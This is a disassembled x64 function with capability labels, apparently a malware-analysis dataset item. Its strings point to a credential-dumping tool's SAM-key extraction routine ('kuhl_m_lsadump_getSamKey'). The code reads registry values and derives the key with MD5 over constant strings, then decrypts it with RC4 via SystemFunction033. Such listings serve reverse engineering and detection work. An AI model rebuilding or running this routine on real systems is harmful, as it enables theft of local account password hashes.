Function at 0x1400e5b10
Capabilities:
Encrypt data using rc4 via systemfunction033
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rbp
push rbx
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xf8
mov r13, rcx
mov qword [rbp - 0x59], r9
mov ecx, 0x10
mov r10, rdx
mov dword [rbp - 0x71], ecx
lea rdx, [rbp + 0xf]
mov dword [rbp - 0x6d], ecx
xor r12d, r12d
mov dword [rbp - 0x61], ecx
mov dword [rbp - 0x5d], ecx
lea rcx, str._nSAMKey_:
mov qword [rbp - 0x69], rdx
call fcn.14000afb0
mov ecx, dword [r13]
mov edx, 0x6b6e
mov qword [rsp + 0x38], r12
test ecx, ecx
je 0x1400e5ba6
cmp ecx, 1
jne 0x1400e6106
test r10, r10
jne 0x1400e5b89
mov rax, qword [r13 + 8]
mov r10, qword [rax + 0x18]
mov rax, r12
cmp word [r10 + 4], dx
jne 0x1400e5b9b
mov qword [rsp + 0x38], r10
mov rax, r10
test rax, rax
mov ebx, r12d
setne bl
jmp 0x1400e5bdd
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, r10
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov ebx, r12d
sete bl
test eax, eax
je 0x1400e5bd8
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov edx, 0x6b6e
test ebx, ebx
je 0x1400e6106
mov ecx, dword [r13]
mov edi, r12d
mov qword [rsp + 0x138], rsi
mov r8d, 0x6b76
mov rsi, qword [rsp + 0x38]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0xf0], r14
mov dword [rsp + 0x48], r12d
mov dword [rbp + 0x67], r12d
test ecx, ecx
je 0x1400e5d3b
cmp ecx, 1
jne 0x1400e5f66
mov r14, r12
test rsi, rsi
je 0x1400e5c33
mov r15, rsi
jmp 0x1400e5c3b
mov rax, qword [r13 + 8]
mov r15, qword [rax + 0x18]
cmp word [r15 + 4], dx
jne 0x1400e5d20
mov edx, dword [r15 + 0x28]
test edx, edx
je 0x1400e5d20
movsxd rcx, dword [r15 + 0x2c]
cmp ecx, 0xffffffff
je 0x1400e5d20
mov rax, qword [r13 + 8]
mov esi, r12d
add rcx, qword [rax + 0x10]
mov qword [rsp + 0x30], rcx
test edx, edx
je 0x1400e5d1b
test r14, r14
jne 0x1400e5d17
mov eax, esi
movsxd rbx, dword [rcx + rax*4 + 4]
mov rax, qword [r13 + 8]
add rbx, qword [rax + 0x10]
cmp word [rbx + 4], r8w
jne 0x1400e5d0b
movzx eax, word [rbx + 6]
test ax, ax
je 0x1400e5d0b
test byte [rbx + 0x14], 1
mov edx, eax
je 0x1400e5cba
lea rcx, [rbx + 0x18]
call fcn.140012170
mov rdi, rax
test rax, rax
je 0x1400e5d00
jmp 0x1400e5ce2
add rdx, 2
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1400e5d00
movzx r8d, word [rbx + 6]
lea rdx, [rbx + 0x18]
mov rcx, rax
call fcn.14011b4a0
mov rdx, rdi
lea rcx, [0x140179900]
call fcn.14011ebc8
test eax, eax
mov rcx, rdi
cmove r14, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x6b76
inc esi
cmp esi, dword [r15 + 0x28]
jb 0x1400e5c77
mov edi, dword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
test r14, r14
mov ebx, r12d
setne bl
test r14, r14
je 0x1400e5d75
mov eax, dword [r14 + 8]
btr eax, 0x1f
mov dword [rbp + 0x67], eax
jmp 0x1400e5d75
mov rcx, qword [rsp + 0x38]
lea rax, [rbp + 0x67]
mov qword [rsp + 0x28], rax
lea rdx, [0x140179900]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov ebx, r12d
sete bl
test eax, eax
je 0x1400e5d75
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
je 0x1400e5f66
mov eax, dword [rbp + 0x67]
test eax, eax
je 0x1400e5f72
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
mov r15, rax
test rax, rax
je 0x1400e5f76
mov ecx, dword [r13]
mov edi, r12d
test ecx, ecx
je 0x1400e5f12
cmp ecx, 1
jne 0x1400e5f48
mov r14, r12
test rsi, rsi
jne 0x1400e5dd3
mov rax, qword [r13 + 8]
mov rsi, qword [rax + 0x18]
mov qword [rsp + 0x40], rsi
mov eax, 0x6b6e
cmp word [rsi + 4], ax
jne 0x1400e5ec3
mov ecx, dword [rsi + 0x28]
test ecx, ecx
je 0x1400e5ec3
movsxd rdx, dword [rsi + 0x2c]
cmp edx, 0xffffffff
je 0x1400e5ec3
mov rax, qword [r13 + 8]
mov esi, r12d
add rdx, qword [rax + 0x10]
mov qword [rsp + 0x30], rdx
test ecx, ecx
je 0x1400e5ec3
mov r15d, 0x6b76
nop dword [rax + rax]
test r14, r14
jne 0x1400e5ebe
mov eax, esi
movsxd rbx, dword [rdx + rax*4 + 4]
mov rax, qword [r13 + 8]
add rbx, qword [rax + 0x10]
cmp word [rbx + 4], r15w
jne 0x1400e5eae
movzx eax, word [rbx + 6]
test ax, ax
je 0x1400e5eae
test byte [rbx + 0x14], 1
mov edx, eax
je 0x1400e5e63
lea rcx, [rbx + 0x18]
call fcn.140012170
mov rdi, rax
test rax, rax
je 0x1400e5ea9
jmp 0x1400e5e8b
add rdx, 2
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1400e5ea9
movzx r8d, word [rbx + 6]
lea rdx, [rbx + 0x18]
mov rcx, rax
call fcn.14011b4a0
mov rdx, rdi
lea rcx, [0x140179900]
call fcn.14011ebc8
test eax, eax
mov rcx, rdi
cmove r14, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
inc esi
cmp esi, dword [rax + 0x28]
jb 0x1400e5e20
mov r15, qword [rsp + 0x48]
test r14, r14
mov edi, r12d
setne dil
test r14, r14
je 0x1400e5f48
mov ecx, dword [r14 + 8]
mov edi, r12d
mov ebx, ecx
btr ebx, 0x1f
cmp dword [rbp + 0x67], ebx
setae dil
jb 0x1400e5f0d
lea rdx, [r14 + 0xc]
test ecx, ecx
js 0x1400e5f02
mov rax, qword [r13 + 8]
movsxd rdx, dword [rdx]
mov rax, qword [rax + 0x10]
add rax, 4
add rdx, rax
mov r8d, ebx
mov rcx, r15
call fcn.14011b4a0
mov dword [rbp + 0x67], ebx
jmp 0x1400e5f48
lea rax, [rbp + 0x67]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [0x140179900]
xor r8d, r8d
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete dil
test eax, eax
je 0x1400e5f48
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test edi, edi
jne 0x1400e5f76
lea rcx, str.ERROR_kull_m_registry_QueryWithAlloc___kull_m_registry_RegQueryValueEx_KO_n
call fcn.14000afb0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r15, rax
jmp 0x1400e5f76
lea rcx, str.ERROR_kull_m_registry_QueryWithAlloc___pre___kull_m_registry_RegQueryValueEx_KO_n
call fcn.14000afb0
mov r15, qword [rbp + 0x7f]
mov r14, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0x138]
cmp dword [r13], r12d
jne 0x1400e5fa3
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x1400e5fa3
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test edi, edi
je 0x1400e6112
movzx edx, word [r15]
lea eax, [rdx - 2]
cmp eax, 1
ja 0x1400e60c8
mov edx, dword [r15 + 0x68]
mov eax, edx
sub eax, 1
je 0x1400e602e
cmp eax, 1
je 0x1400e5fd7
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_Struct_Key_revision___u_
jmp 0x1400e60cf
mov r9d, dword [r15 + 0x74]
lea rax, [rbp - 0x79]
mov rcx, qword [rbp + 0x77]
lea r8, [r15 + 0x88]
mov qword [rsp + 0x28], rax
lea rdx, [r15 + 0x78]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call fcn.1400045c0
test eax, eax
je 0x1400e60d4
cmp dword [rbp - 0x79], 0x10
mov rcx, qword [rsp + 0x30]
sete r12b
jne 0x1400e6023
mov rax, qword [rbp + 0x7f]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400e60d4
lea rcx, [rbp - 0x49]
call qword [sym.imp.cryptdll.dll_MD5Init]
mov edi, 0x10
lea rdx, [r15 + 0x70]
mov r8d, edi
lea rcx, [rbp - 0x49]
call qword [sym.imp.cryptdll.dll_MD5Update]
lea r8d, [rdi + 0x1f]
lea rdx, str.______qwertyUIOPAzxcvbnmQQQQQQQQQQQQ____
lea rcx, [rbp - 0x49]
call qword [sym.imp.cryptdll.dll_MD5Update]
mov rdx, qword [rbp + 0x77]
lea rcx, [rbp - 0x49]
mov r8d, edi
call qword [sym.imp.cryptdll.dll_MD5Update]
lea r8d, [rdi + 0x19]
lea rdx, str.0123456789012345678901234567890123456789
lea rcx, [rbp - 0x49]
call qword [sym.imp.cryptdll.dll_MD5Update]
lea rcx, [rbp - 0x49]
call qword [sym.imp.cryptdll.dll_MD5Final]
movups xmm0, xmmword [r15 + 0x80]
mov rbx, qword [rbp + 0x7f]
lea rdx, [rbp - 0x71]
lea rcx, [rbp - 0x61]
movups xmmword [rbx], xmm0
call qword [sym.imp.ADVAPI32.dll_SystemFunction033]
test eax, eax
setns r12b
test eax, eax
jns 0x1400e60dd
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___RtlDecryptData2_KO
call fcn.14000afb0
jmp 0x1400e60dd
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_F_revision___hu_
call fcn.14000afb0
mov rbx, qword [rbp + 0x7f]
mov edi, 0x10
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
test r12d, r12d
je 0x1400e611e
mov rcx, qword [0x140144a58]
movzx edx, byte [rbx]
call fcn.14000afb0
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x1400e60f2
jmp 0x1400e611e
lea rcx, str.ERROR_kull_m_registry_OpenAndQueryWithAlloc___kull_m_registry_RegOpenKeyEx_KO_n
call fcn.14000afb0
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___kull_m_registry_OpenAndQueryWithAlloc_KO
call fcn.14000afb0
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000afb0
mov eax, r12d
add rsp, 0xf8
pop r15
pop r13
pop r12
pop rdi
pop rbx
pop rbp
ret